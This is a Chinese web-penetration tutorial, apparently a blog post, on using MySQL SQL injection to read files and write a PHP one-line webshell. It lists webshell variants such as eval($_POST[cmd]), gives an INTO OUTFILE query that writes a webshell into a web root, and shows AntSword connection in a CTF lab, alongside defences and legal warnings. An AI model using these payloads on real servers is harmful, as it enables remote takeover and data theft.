Web渗透之SQL注入-文件读写-木马植入

发布时间:2026/6/5 9:39:32

Web渗透之SQL注入-文件读写-木马植入 本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行任何未经授权使用文中技术的行为均与作者无关请务必遵守法律法规获得许可后方可进行渗透测试。目录一、Mysql读写权限确认和修改1、方式一2、方式二3、修改mysql文件读取权限1. 找到 MySQL 配置文件2. 在 [mysqld] 段落下添加或修改4、重启 MySQL 服务5、验证修改结果二、Mysql文件读写的sql语法1、读文件基本sql语句联合查询语句2、写文件基本sql语句联合查询语句三、通过sql注入写入木马1、PHP一句话木马WebShell2、典型示例3、常见变形4、用途仅限合法测试5、防御措施6、法律提醒7、向系统写入一句话木马8、验证木马是否有效四、通过sql注入getshell1、蚁剑的使用1添加数据2填写数据与测试连接3添加完成点击数据就可以进行操作了2、进行sql注入示例文件上传无验证一、Mysql读写权限确认和修改MySQL 的“读写权限”在数据库安全上下文中特指 MySQL 服务器能否通过 SQL 语句读取或写入数据库服务器所在主机的文件系统。这类操作主要通过LOAD_FILE()函数读和INTO OUTFILE/DUMPFILE子句写完成。读权限能否使用SELECT LOAD_FILE(文件路径)读取服务器上的文本文件。写权限能否使用SELECT ... INTO OUTFILE 文件路径将查询结果写入服务器文件。这两项能力默认受到严格限制以防止 SQL 注入漏洞被利用来读取系统敏感文件或写入 Webshell。1、方式一show global variables like %secure%;如果secure_file_privNULL 则表示这个mysql数据库没有文件读写权限如果secure_file_priv/var/lib/mysql-files/ (路径) 说明mysql在这个路径下有文件读写权限如果secure_file_priv 没有值则表示mysql有任意路径下的读写权限2、方式二SELECT * FROM performance_schema.global_variables WHERE variable_name LIKE %secure%;mysql数据库版本不同global_variables在的数据库也不同有的在information_schema里有的在performance_schema里3、修改mysql文件读取权限1. 找到 MySQL 配置文件通常位于/etc/my.cnf。也可能是/etc/mysql/my.cnf但 CentOS 7 默认是/etc/my.cnf。sudo vi /etc/my.cnf2. 在[mysqld]段落下添加或修改找到[mysqld]标签在其下方添加一行如果已有secure_file_priv行则修改其值[mysqld] secure_file_priv 4、重启 MySQL 服务sudo systemctl restart mysqld5、验证修改结果执行成功SHOW VARIABLES LIKE secure_file_priv;二、Mysql文件读写的sql语法1、读文件我们先写个文本文档a.txt导入到我的虚拟机里进行查询可以看到文件数据的大小以及类型基本sql语句SELECT LOAD_FILE(/var/www/html/1vbohan/muma/a.txt);联合查询语句SELECT 1,2,3 UNION SELECT (SELECT LOAD_FILE(/var/www/html/1vbohan/muma/a.txt)),5,62、写文件基本sql语句SELECT nihao INTO OUTFILE /var/www/html/1vbohan/muma/a.txt;如果把nihao写入a.txt结果会报错因为写文件必须这个文件不存在才行把nihao写到b.txt成功写入b.txt不需要提前1建写入的时候这个语句自动生成文件联合查询语句SELECT 1,2,3 UNION SELECT 4,5,6 INTO OUTFILE /var/www/html/1vbohan/muma/c.txt注意子查询不能用会报错三、通过sql注入写入木马1、PHP一句话木马WebShell概念PHP一句话木马是一种短小精悍的恶意脚本通常只有一行代码用于在 Web 服务器上实现远程命令执行或文件管理。攻击者通过文件上传、SQL 注入写入文件等方式将其放置到目标服务器然后使用中国蚁剑、冰蝎、菜刀等客户端工具连接从而获得服务器的控制权限。作用把字符串当成PHP程序进行解析2、典型示例?php eval($_POST[cmd]); ?抑制错误输出。eval()函数将$_POST[cmd]接收到的字符串当作 PHP 代码执行。攻击者发送 HTTP POST 请求参数cmdsystem(whoami);即可执行系统命令。3、常见变形?php system($_REQUEST[cmd]); ? ?php assert($_POST[a]); ? ?php eval($_GET[c]); ?4、用途仅限合法测试在授权渗透测试中验证文件上传漏洞、RCE 漏洞的严重性。在 CTF 或靶场中获取 flag。5、防御措施严格限制文件上传类型白名单重命名。设置目录权限禁止 PHP 解析上传目录。使用 Web 应用防火墙WAF拦截可疑的 POST 参数。定期扫描 Web 目录中的可疑文件。禁用危险函数eval、assert、system等可通过disable_functions实现。6、法律提醒未经授权在他人服务器上放置一句话木马属于违法行为违反《刑法》第285、286条。仅可在自己搭建的靶场或获得书面授权的环境中使用。?php eval($_POST[cmd]); ?7、向系统写入一句话木马注意只能写入web服务路径下。-- 写入一句话木马 select ?php eval($_POST[0]);? into outfile C:/tools/phpstudy/WWW\mm.php写入成功8、验证木马是否有效当出现这个界面说明一句话木马生效一句话木马也可以运行系统命令四、通过sql注入getshell1、蚁剑的使用1添加数据2填写数据与测试连接3添加完成点击数据就可以进行操作了2、进行sql注入示例一般进行注入上传木马文件以CTFHUB文件上传漏洞这个靶场来讲解一下蚁剑的使用文件上传这个比较方便直接就可以选择文件上传先看靶场环境是php编一个一句话木马php文件然后下载返回靶场上传文件可以看到上传文件路径把url和上传文件路径结合到一块用蚁剑查看是否上传成功通过目录查找在蚁剑里找到flag文件找到flag

相关新闻